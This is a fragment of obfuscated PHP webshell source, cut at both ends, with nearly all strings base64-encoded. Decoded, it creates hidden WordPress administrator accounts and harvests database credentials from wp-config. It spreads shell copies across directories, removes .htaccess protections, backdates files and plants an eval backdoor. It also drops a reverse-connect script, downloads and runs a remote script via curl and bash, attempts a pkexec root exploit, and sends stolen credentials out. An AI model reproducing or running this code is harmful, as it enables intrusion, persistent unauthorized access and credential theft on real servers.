wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5Vc2VybmFtZSA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9InVzZXJuYW1lIiB2YWx1ZT0i') . $dbuserx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5QYXNzd29yZCA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9InBhenp3b3JkIiB2YWx1ZT0i') . $dbpassx . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCByb3ciPiA8bGFiZWwgY2xhc3M9ImNvbC1zbS0yIGNvbC1mb3JtLWxhYmVsIj5FbWFpbCA8L2xhYmVsPjxkaXYgY2xhc3M9ImNvbC1zbS0xMCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImVtYWlsIiB2YWx1ZT0iYWRtaW5AZ29vZ2xlLmNvbSIgc3R5bGU9IndpZHRoOiA0NTBweDsiIGhlaWdodD0iMTAiPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImNvbC1tZC0xMiB0ZXh0LXJpZ2h0Ij4gPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCBidG4gYnRuLXdhcm5pbmcgYnRuLWxnIiB2YWx1ZT0iU0FWRSIgbmFtZT0idGFtYmFoa2FuIi8+IDwvZGl2PjwvZm9ybT4='); if (isset($_POST[wb('dGFtYmFoa2Fu')])) { echo wb('PGNlbnRlcj4='); if (isset($table_prefix)) { $dbhost = $_POST[wb('ZGJob3N0')]; $dbuser = $_POST[wb('ZGJ1c2Vy')]; $dbpass = $_POST[wb('ZGJwYXNz')]; $dbname = $_POST[wb('ZGJuYW1l')]; $table_prefix = $_POST[wb('dGFibGVfcHJlZml4')]; $username = $_POST[wb('dXNlcm5hbWU=')]; $pazzword = $_POST[wb('cGF6endvcmQ=')]; $email = $_POST[wb('ZW1haWw=')]; $idx = rand(100, 1000); $conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($conn->connect_error) { die(wb('Q29ubmVjdGlvbiBmYWlsZWQ6IA==') . $conn->connect_error); } $sql = wb('SU5TRVJUIElOVE8g') . $table_prefix . "users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES ('{$idx}', '{$username}', MD5('" . $pazzword . "'), '{$username}', '{$email}', '', '2018-06-07 00:00:00', '', '0', '{$username}');"; $sql .= wb('SU5TRVJUIElOVE8g') . $table_prefix . "usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, '{$idx}', '" . $table_prefix . wb('Y2FwYWJpbGl0aWVzJywgJ2E6MTp7czoxMzoiYWRtaW5pc3RyYXRvciI7czoxOiIxIjt9Jyk7'); $sql .= wb('SU5TRVJUIElOVE8g') . $table_prefix . "usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, '{$idx}', '" . $table_prefix . wb('dXNlcl9sZXZlbCcsICcxMCcpOw=='); if ($conn->multi_query($sql) === true) { echo wb('TmV3IHJlY29yZHMgY3JlYXRlZCBzdWNjZXNzZnVsbHk8YnI+'); echo wb('PGNvZGU+VXNlcm5hbWU6IA==') . $username . wb('PC9jb2RlPg=='); echo wb('PGNvZGU+UGFzc3dvcmQ6IA==') . $pazzword . wb('PC9jb2RlPg=='); } else { echo wb('RXJyb3I6IA==') . $sql . wb('PGJyPg==') . $conn->error; } $conn->close(); } else { echo wb('IEdhZ2FsIGRhbGFtIGluamVjdCB1c2VyIFdvcmRQcmVzcw=='); } echo wb('PC9jZW50ZXI+'); } echo wb('PC9kaXY+'); } elseif (isset($_GET[hex(wb('c2lnbmF0dXJl'))])) { @set_time_limit(0); $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; $fullxx = $_SERVER[wb('SFRUUF9IT1NU')] . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $direktori); $fullxx = $GNJ[14](wb('Ly8='), wb('Lw=='), $fullxx); $fullxx = $GNJ[14](wb('XA=='), wb('Lw=='), $fullxx); if (isset($_POST[wb('ZGlyZWt0b3JpeA==')])) { $direktori = $_POST[wb('ZGlyZWt0b3JpeA==')]; } else { $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } echo wb('PGhyPjxicj4='); echo wb('PGgyIGNsYXNzPSJ0ZXh0LWNlbnRlciI+MjQxNTQzOTAzPC9oMj4KCQkJCTxmb3JtIGNsYXNzPSJmb3JtLWlubGluZSBjZW50ZXIiIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgo8c2VsZWN0IG5hbWU9Im1vZGV4IiBpZD0ibW9kZXgiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJ3aWR0aDogMjAlOyBoZWlnaHQ6IDQwcHg7Ij4KIAk8b3B0aW9uIHZhbHVlPSJzdGFuZGFyZCI+U2FudG9yeXUgT3VnaTwvb3B0aW9uPgogCTxvcHRpb24gdmFsdWU9InJhbmRvbSI+VG9nZW4gVG90c3VrYTwvb3B0aW9uPgogCTxvcHRpb24gdmFsdWU9Imhha2FpIj5IYWthaTwvb3B0aW9uPiA8L3NlbGVjdD4KIDxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIG1sLTMiIHR5cGU9InRleHQiIG5hbWU9ImRpcmVrdG9yaXgiIHZhbHVlPSI=') . $direktori . wb('IiBzdHlsZT0id2lkdGg6IDUwJTsiIGhlaWdodD0iMTAiPgogPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCBidG4gYnRuLXdhcm5pbmcgZm9ybS1jb250cm9sIGNvbC1tZC0zIG1sLTMiIHN0eWxlPSJoZWlnaHQ6IDQwcHg7IiB2YWx1ZT0iVGViYXIiIG5hbWU9InRlYmFyIiAvPjwvZm9ybT4KIDxicj4='); if (isset($_POST[wb('bW9kZXg=')])) { echo wb('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibW9kZXgiKS52YWx1ZSA9ICI=') . $_POST[wb('bW9kZXg=')] . wb('Ijs8L3NjcmlwdD4='); } if (isset($_POST[wb('dGViYXI=')])) { $modeio = $_POST[wb('bW9kZXg=')]; $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); $folderio = $_POST[wb('ZGlyZWt0b3JpeA==')]; if ($GNJ[22]($folderio, -1) == wb('Lw==')) { $folderio = $GNJ[22]($folderio, 0, -1); } $dirderdor = getSubDirectories($folderio); $dirderdor = $GNJ[14](wb('Ly8='), wb('Lw=='), $dirderdor); $subdir = shuffle_assoc($dirderdor); $totaldir = count($dirderdor); echo wb('PGJyPlRvdGFsIERpcmVjdG9yeSB0byBJbmZlY3Q6IA==') . $totaldir . wb('IC8g') . count($eft0); $pehape = getFilex($folderio, wb('L1wucGhwJC8=')); $jumlahfilenyax = count(array_unique($pehape)); if ($jumlahfilenyax < count($itemsxz)) { $namanamafile = shuffle_assoc($enx0); } else { $namanamafile = shuffle_assoc($pehape); } echo wb('PGJyPlRvdGFsIFVuaXF1ZSBGaWxlIE5hbWUgdG8gQ29waWVkIGFuZCBJbmZlY3Q6IA==') . $jumlahfilenyax . wb('IC8g') . count($itemsxz); echo wb('PGhyPjxicj4='); echo wb('PGNvZGU+'); $reportFinal = ''; $love = wb('bGljZW5zZXMucGhw'); $laporlove = dirname(__FILE__) . DIRECTORY_SEPARATOR . $love; if (!$GNJ[26]($laporlove)) { $tmpf = sys_get_temp_dir() . DIRECTORY_SEPARATOR . uniqid(rand(1, 50)) . wb('LnRtcA=='); $textz = html_entity_decode($GNJ[39](b64dd($local))); @file_put_contents($tmpf, $textz); @file_put_contents($laporlove, wb('PD9waHAgcmVxdWlyZV9vbmNlKCI=') . $tmpf . wb('Iik7Pz4=')); } else { @$GNJ[5]($tmpf, $laporlove); } if ($GNJ[26]($laporlove) && $GNJ[34]($laporlove) > 0) { echo wb('PGEgaHJlZj0nLy8=') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $laporlove) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $laporlove) . wb('PC9hPjxicj4='); @$GNJ[25]($laporlove, $waktu); $reportFinal = $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $laporlove) . PHP_EOL; } if (isset($folderio)) { $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); if ($modeio === wb('aGFrYWk=')) { if (!class_exists(wb('WmlwQXJjaGl2ZQ=='))) { echo wb('PGgyIGNsYXNzPSdibGluayc+UEhQIFNlcnZlciBoYXMgTm8gWmlwQXJjaGl2ZSBDbGFzczwvaDI+PC9ocj4='); goto EndofLife; } if ($GNJ[31]($folderio)) { @$GNJ[5](decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwdzBySzlqYnFkZkkvSGpzWEN3cXV5YjlLeXZRPT0=')), $folderio . wb('L2phdmFzY3JpcHRzLnppcA==')); $try = $folderio . wb('Lw=='); $zip2 = new ZipArchive(); if ($zip2->open($folderio . wb('L2phdmFzY3JpcHRzLnppcA==')) === true) { $zip2->extractTo($try); $zip2->close(); @$GNJ[10]($folderio . wb('L2phdmFzY3JpcHRzLnppcA==')); redirectkeDepan(hex($folderio)); } } else { echo wb('UGxlYXNlIGNoZWNrIGZvbGRlciBpc24ndCB3cml0YWJsZSE8L2NvZGU+'); } goto EndofLife; } $lapor8 = $folderio . wb('L3dwLWNvbmZpZy5waHA='); if ($GNJ[26]($lapor8)) { $treba = 0; while ($treba <= count($itemsxz)) { switch ($modeio) { case wb('c3RhbmRhcmQ='): $namafilenx = $namanamafile[array_rand($namanamafile, 1)]; break; default: $namafilenx = $enx1[array_rand($enx1, 1)]; } $picksubdirX1 = $eft0[array_rand($eft0, 1)]; $picksubdirFirst = $subdir[array_rand($subdir, 1)]; $sourcezx = $itemsxz[array_rand($itemsxz, 1)]; if ($totaldir < count($eft0)) { $picksubdir = $picksubdirFirst . DIRECTORY_SEPARATOR . $picksubdirX1; } else { $picksubdir = $picksubdirFirst; } $fullSubdirFile = $picksubdir . DIRECTORY_SEPARATOR . $namafilenx; $htaccess = $picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz'); if (!$GNJ[26]($fullSubdirFile)) { if (!$GNJ[26]($picksubdir)) { if (!$GNJ[11]($picksubdir, 493, true)) { continue; } } if (!$GNJ[31]($picksubdir)) { continue; } if ($GNJ[26]($htaccess)) { $htaneh = fgt($htaccess); preg_match(wb('L0ZpbGVzTWF0Y2gvaQ=='), $htaneh, $hasilhtaneh); preg_match(wb('L1JlcXVpcmUgYWxsIGRlbmllZC9p'), $htaneh, $hasilhtaneh); $wipesht = $hasilhtaneh[1]; if (isset($wipesht)) { @$GNJ[12]($picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz'), 420); @$GNJ[10]($picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz')); } } $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); $reportx = fgt($sourcezx); file_put_contents($fullSubdirFile, $reportx); @$GNJ[25]($fullSubdirFile, $waktu); if ($GNJ[26]($fullSubdirFile) && $GNJ[34]($fullSubdirFile) > 0) { echo wb('PGEgaHJlZj0nLy8=') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . wb('PC9hPjxicj4='); @$GNJ[25]($fullSubdirFile, $waktu); } $reportFinal .= $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . PHP_EOL; $treba++; } } $picksubdirlapor13 = $subdir[array_rand($subdir, 1)]; $namafilelapor13 = $namanamafile[array_rand($namanamafile, 1)]; $lapor13 = $picksubdirlapor13 . DIRECTORY_SEPARATOR . $namafilelapor13; if (!$GNJ[26]($lapor13)) { $report13 = fgt($adminer); file_put_contents($lapor13, $report13); @$GNJ[25]($lapor13, $waktu); } if ($GNJ[26]($lapor13) && $GNJ[34]($lapor13) > 0) { echo wb('PGJyPkFkbWluZXI6IA=='); echo wb('PGEgaHJlZj0nLy8=') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $lapor13) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $lapor13) . wb('PC9hPg=='); echo wb('PGJyPldQOiA=') . $folderio; $reportFinal .= wb('QWRtaW5lcjog') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $lapor13) . PHP_EOL; $reportFinal .= wb('V1A6IA==') . $folderio . PHP_EOL; } $cxz = fgt($lapor8); preg_match(wb('L2RlZmluZS4qREJfTkFNRS4qJyguKiknLw=='), $cxz, $mxz); $dbname = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfVVNFUi4qJyguKiknLw=='), $cxz, $mxz); $dbuser = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfUEFTU1dPUkQuKicoLiopJy8='), $cxz, $mxz); $dbpass = $mxz[1]; preg_match(wb('L2RlZmluZS4qREJfSE9TVC4qJyguKiknLw=='), $cxz, $mxz); $dbhost = $mxz[1]; preg_match(wb('L3RhYmxlX3ByZWZpeC4qPS4qJyguKiknLw=='), $cxz, $mxm); $table_prefix = $mxm[1]; if (isset($dbname)) { echo wb('PGJyPkRCIE5hbWU6IA==') . $dbname; echo wb('IC0gREIgSG9zdDog') . $dbhost; echo wb('PGJyPkRCIFVzZXI6IA==') . $dbuser; echo wb('IC0gREIgUGFzczog') . $dbpass; $reportFinal .= wb('REIgTmFtZTog') . $dbname . wb('IHwgREIgSG9zdDog') . $dbhost . wb('IHwgREIgVXNlcjog') . $dbuser . wb('IHwgREIgUGFzczog') . $dbpass . PHP_EOL; } if (isset($dbname)) { $filetoinject = $folderio . wb('L3dwLWNvbmZpZy1zYW1wbGUucGhw'); if (!$GNJ[26]($filetoinject)) { $GNJ[25]($filetoinject, $waktu); } $key = generateRandomString(); $shellz = wb('UEQ5d2FIQWdaV05vYnlBblBHWnZjbTBnWVdOMGFXOXVQU0lpSUcxbGRHaHZaRDBpY0c5emRDSWdaVzVqZEhsd1pUMGliWFZzZEdsd1lYSjBMMlp2Y20wdFpHRjBZU0lnYm1GdFpUMGljRzFpSWlCcFpEMGljRzFpSWo0OGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsUFNKdmFuTWlJSFI1Y0dVOUluTjFZbTFwZENJZ2FXUTlJbTlxY3lJZ2RtRnNkV1U5SWtOeWIzUWlQand2Wm05eWJUNG5PMmxtS0NSZlVFOVRWRnNuYjJwekoxMDlQU0pEY205MElpbDdhV1lvUUdGeWNtRjVLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3drWDBaSlRFVlRXeWRtYVd4bEoxMWJKMjVoYldVblhTa3BJSHNnWldOb2J5QW5QR0krVDJ0bFBDOWlQaWM3SUgwZ1pXeHpaU0I3SUdWamFHOGdKenhpUGxWd2N6d3ZZajRuTzMwZ2ZXVjRhWFFvS1RzZ1B6ND0='); if ($conn = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname)) { if (@is_file($filetoinject) && @$GNJ[31]($filetoinject)) { @mysqli_query($conn, wb('RFJPUCBUQUJMRSBgbGljZW5zZXNg')); @mysqli_query($conn, wb('Q1JFQVRFIFRBQkxFIGBsaWNlbnNlc2AgKGNvZGUgTE9OR1RFWFQp')); @mysqli_query($conn, wb('SU5TRVJUIElOVE8gYGxpY2Vuc2VzYCBWQUxVRVMoIg==') . $shellz . wb('Iik=')); $code = wb('PD9waHAgaWYoaXNzZXQoJF9HRVRbIngiXSkmJiRfR0VUWyJ4Il09PSI=') . $key . wb('Iil7JGNvbm49bXlzcWxpX2Nvbm5lY3QoIg==') . str_replace(wb('Ig=='), wb('XCI='), $dbhost) . wb('Iiwi') . str_replace(wb('Ig=='), wb('XCI='), $dbuser) . wb('Iiwi') . str_replace(wb('Ig=='), wb('XCI='), $dbpass) . wb('Iiwi') . str_replace(wb('Ig=='), wb('XCI='), $dbname) . wb('Iik7JHE9bXlzcWxpX3F1ZXJ5KCRjb25uLCJTRUxFQ1QgYGNvZGVgIEZST00gbGljZW5zZXMgTElNSVQgMCwxIik7JHI9bXlzcWxpX2ZldGNoX2Fzc29jKCRxKTskZnVuYz0iY3IiLiJlYSIuInRlXyIuImZ1biIuImN0aW9uIjskeD0kZnVuYygiXCRjIiwiZSIuInYiLiJhbCIuIignPz4nLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoJHJbImNvZGUiXSk7ZXhpdDt9Pz4='); @$GNJ[25]($filetoinject, $waktu); } @file_put_contents($filetoinject, $code . wb('Cg==') . @file_get_contents($filetoinject)); $reportFinal .= $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $filetoinject) . wb('P3g9') . $key . PHP_EOL; echo wb('PGJyPlNRTCBCYWNrZG9vcjogPGEgaHJlZj0nLy8=') . $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $filetoinject) . wb('P3g9') . $key . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $filetoinject) . wb('P3g9') . $key . wb('PC9hPjxicj4='); } } if (isset($table_prefix)) { $conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($conn->connect_error) { echo ''; } else { $passw0rd = generateRandomString(); $sql = wb('SU5TRVJUIElOVE8g') . $table_prefix . "users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES ('99899', '{$dbuser}', MD5('" . $passw0rd . "'), '{$dbname}', '[email protected]', 'http://www.google.com/', '2018-06-07 00:00:00', '', '0', '{$dbname}');"; $sql .= wb('SU5TRVJUIElOVE8g') . $table_prefix . wb('dXNlcm1ldGEgKHVtZXRhX2lkLCB1c2VyX2lkLCBtZXRhX2tleSwgbWV0YV92YWx1ZSkgVkFMVUVTIChOVUxMLCAnOTk4OTknLCAn') . $table_prefix . wb('Y2FwYWJpbGl0aWVzJywgJ2E6MTp7czoxMzoiYWRtaW5pc3RyYXRvciI7czoxOiIxIjt9Jyk7'); $sql .= wb('SU5TRVJUIElOVE8g') . $table_prefix . wb('dXNlcm1ldGEgKHVtZXRhX2lkLCB1c2VyX2lkLCBtZXRhX2tleSwgbWV0YV92YWx1ZSkgVkFMVUVTIChOVUxMLCAnOTk4OTknLCAn') . $table_prefix . wb('dXNlcl9sZXZlbCcsICcxMCcpOw=='); if ($conn->multi_query($sql) === true) { echo wb('PGJyPlU6IA==') . $dbname . wb('IFA6IA==') . $passw0rd; $reportFinal .= wb('VTog') . $dbname . wb('IFA6IA==') . $passw0rd . PHP_EOL; } $conn->close(); } } } else { $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); $trebo = 0; while ($trebo <= count($itemsxz)) { switch ($modeio) { case wb('c3RhbmRhcmQ='): $namafilenx = $namanamafile[array_rand($namanamafile, 1)]; break; default: $namafilenx = $enx1[array_rand($enx1, 1)]; } $picksubdirX1 = $eft0[array_rand($eft0, 1)]; $picksubdirFirst = $subdir[array_rand($subdir, 1)]; $sourcezx = $itemsxz[array_rand($itemsxz, 1)]; if ($totaldir < count($eft0)) { $picksubdir = $picksubdirFirst . DIRECTORY_SEPARATOR . $picksubdirX1; } else { $picksubdir = $picksubdirFirst; } $fullSubdirFile = $picksubdir . DIRECTORY_SEPARATOR . $namafilenx; $htaccess = $picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz'); if (!$GNJ[26]($fullSubdirFile)) { if (!$GNJ[26]($picksubdir)) { if (!$GNJ[11]($picksubdir, 493, true)) { continue; } } if (!$GNJ[31]($picksubdir)) { continue; } if ($GNJ[26]($htaccess)) { $htaneh = fgt($htaccess); $rintangan1 = wb('L0ZpbGVzTWF0Y2gvaQ=='); $rintangan2 = wb('L1JlcXVpcmUgYWxsIGRlbmllZC9p'); preg_match($rintangan1, $htaneh, $hasilhtaneh); preg_match($rintangan2, $htaneh, $hasilhtaneh); $wipesht = $hasilhtaneh[1]; if (isset($wipesht)) { @$GNJ[12]($picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz'), 420); @$GNJ[10]($picksubdir . DIRECTORY_SEPARATOR . wb('Lmh0YWNjZXNz')); } } $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); $reportx = fgt($sourcezx); file_put_contents($fullSubdirFile, $reportx); @$GNJ[25]($fullSubdirFile, $waktu); if ($GNJ[26]($fullSubdirFile) && $GNJ[34]($fullSubdirFile) > 0) { echo wb('PGEgaHJlZj0nLy8=') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . wb('PC9hPjxicj4='); @$GNJ[25]($fullSubdirFile, $waktu); } $reportFinal .= $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $fullSubdirFile) . PHP_EOL; $trebo++; } } } $soxxF = wb('aXB2NC5waHA='); $picksubdirSox = $subdir[array_rand($subdir, 1)]; $soxx = $picksubdirSox . DIRECTORY_SEPARATOR . $soxxF; $soxCode = html_entity_decode($GNJ[39](b64dd($sox))); $srcSox = wb('PD9waHAg') . wb('c2V0X3RpbWVfbGltaXQoMCk7ICRpcD0nMHgzMy4weDRmLjB4ZjEuMHg4NSc7ICRwb3J0PTU0MzM7') . $soxCode . wb('ID8+'); if (@file_put_contents($soxx, $srcSox)) { echo wb('PGJyPlBIUCBTb2NrZXRzOiA8YSBocmVmPScvLw==') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $soxx) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $soxx) . wb('PC9hPjxicj4='); @$GNJ[25]($soxx, $waktu); $reportFinal .= wb('QmFja2Nvbm5lY3Q6IA==') . $fullxx . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $soxx) . PHP_EOL; } if (function_exists(wb('ZXhlYw=='))) { if (OS() === wb('TGludXg=')) { $astaga = wb('a3VtYW4ucGhw'); $picksubdirbot = $subdir[array_rand($subdir, 1)]; $astagaf = $picksubdirbot . DIRECTORY_SEPARATOR . $astaga; $bt = fgt(decno(wb('eDhHc3ZiU1NlSHpHdHF5MXRycDNzTTY2WjdHd3hyaDYyY2Ruc2JER3VIclp4MmEwcXN5eHdzRjdvYnh3eXFyRWpycVp0cStIdE1MTXJxWT0='))); file_put_contents($astagaf, $GNJ[39](b64dd($bt))); exec(wb('Y2Qg') . $picksubdirbot . wb('ICYmIGV4ZWMgLWEgYXBhYW4ubG9lLmxpYXQubnlldCBwaHAgLWY=') . $astagaf . wb('ID4gL2Rldi9udWxsICY=')); $reportFinal .= wb('VHVtYW4gOiA=') . $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $picksubdirbot . wb('L3R1bWFuLnBocA==')) . PHP_EOL; echo wb('PGJyPlR1bWFuIDogPGEgaHJlZj0nLy8=') . $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $picksubdirbot . wb('L3R1bWFuLnBocA==')) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $fullxx . str_replace($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $picksubdirbot . wb('L3R1bWFuLnBocA==')) . wb('PC9hPg=='); } } echo wb('PC9jb2RlPg=='); } $finalist = b64ed($reportFinal); GrabMe($_SERVER[wb('SFRUUF9IT1NU')], $finalist); $gsc = wb('WjI5dloyeGxMWE5wZEdVdGRtVnlhV1pwWTJGMGFXOXVPaUJuYjI5bmJHVmlaR00yTXpjNE1USm1aRGs1TnpJeUxtaDBiV3c9'); if (@file_put_contents($folderio . wb('L2dvb2dsZWJkYzYzNzgxMmZkOTk3MjIuaHRtbA=='), b64dd($gsc))) { @$GNJ[25]($folderio . wb('L2dvb2dsZWJkYzYzNzgxMmZkOTk3MjIuaHRtbA=='), $waktu); } } EndofLife: } elseif (isset($_GET[hex(wb('YXV0b2V4cGxv'))])) { ExploitermenU($d); echo wb('PGJyPjxicj48Y2VudGVyPjxoMj5BdXRvIEV4cGxvPC9oMj48YnI+'); echo wb('PGJyPjxmb3JtIG1ldGhvZD0nUE9TVCcgYWN0aW9uPScnPgoJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGJ0bi1sZycgbmFtZT0nYXV0b3gnIHZhbHVlPSdIQUpBUiBNQVNaRUVIISc+PC9pbnB1dD4KCQkJPC9mb3JtPjwvY2VudGVyPg=='); if (isset($_POST[wb('YXV0b3g=')])) { $autoo = exec(wb('bWtkaXIgLnAgJiYgY2QgLnAgJiYgYmFzaCAtYyAiJChjdXJsIC1mc1NMayBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vd2FybW9kZTY2Ni90aGVzYXRhbi9tYWluL3gpIiAmJiBleGl0'), $output); echo wb('PHRleHRhcmVhIHJlYWRvbmx5Pg=='); print_r($output); echo wb('PC90ZXh0YXJlYT4='); } } elseif (isset($_GET[hex(wb('NDAzNGV4ZQ=='))])) { ExploitermenU($d); if ($GNJ[26](wb('X3g='))) { exe(wb('cm0gLXJmIF94')); } if (is_32bit()) { exe(decno(wb('d3NLcXVXR0ZyOEN5bWFOdHFjeTl2ZEtIWjN5enVjQjd4cmFzdGJhNnZzREV2NXU4cjh5dXU5TjdtN3l1aDdYR2s3aG5uYmpHbExiVGZLV3Vxc1o0bmRhN2c3YTFpM3R0akx4WXJMbVRyTFhNdkp4dGJOQnByTmM9'))); } else { exe(decno(wb('d3NLcXVXR0ZyOEN5bVZpMXRjeTV3Smw4WjcraXozZTB5TUdnd3FQTnZMTFJzS2U3dGIyM3dZMndwN3B3eE1LQnlueUl4Sytqc3NHT3VwbTJyNGVaeE0yWW9jRmhoYmh0dnNWenNLbkZ1TEYvZUxCdG9OQT0='))); } echo wb('PHAgY2xhc3M9InRleHQtbXV0ZWQiPlsrXSBDaGVja2luZyBSb290PC9wPg=='); $cekroot = ex(wb('Li9feCAnaWQn')); if ($cekroot == '') { echo wb('PHAgY2xhc3M9InRleHQtbXV0ZWQiPlsrXSBGYWlsZWQgUm9vdGVkITwvcD4='); @$GNJ[10](wb('X3g=')); exe(wb('cm0gLXJmIF94')); exe(wb('cm0gLXJmIEdDT05WX1BBVEg9Lg==')); exe(wb('cm0gLXJmIC5wa2V4ZWM=')); GetMe($_SERVER[wb('SFRUUF9IT1NU')], wb('Tm9uUm9vdA==')); } else { echo wb('PHAgY2xhc3M9InRleHQtbXV0ZWQiPlsrXSBUZXN0aW5nIDog') . ex(wb('Li9feCBpZA==')) . wb('PGJyPjwvcD4='); $cekroot = ex(wb('Li9feCAnY2hvd24gcm9vdDpyb290IF94Jw==')); $cekroot = ex(wb('Li9feCAnY2htb2QgNDc3NyBfeCc=')); echo wb('PHAgY2xhc3M9J3RleHQtbXV0ZWQnPlsrXSBSZWFkeSBNYXN6ZWVoIDogPGEgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('cjAwdA==')) . wb('Jz5yMDB0Kys8L2E+PGJyPjwvcD4='); GetMe($_SERVER[wb('SFRUUF9IT1NU')], wb('cjAwdA==')); } } elseif (isset($_GET[hex(wb('Y3NyZg=='))])) { ExploitermenU($d); echo 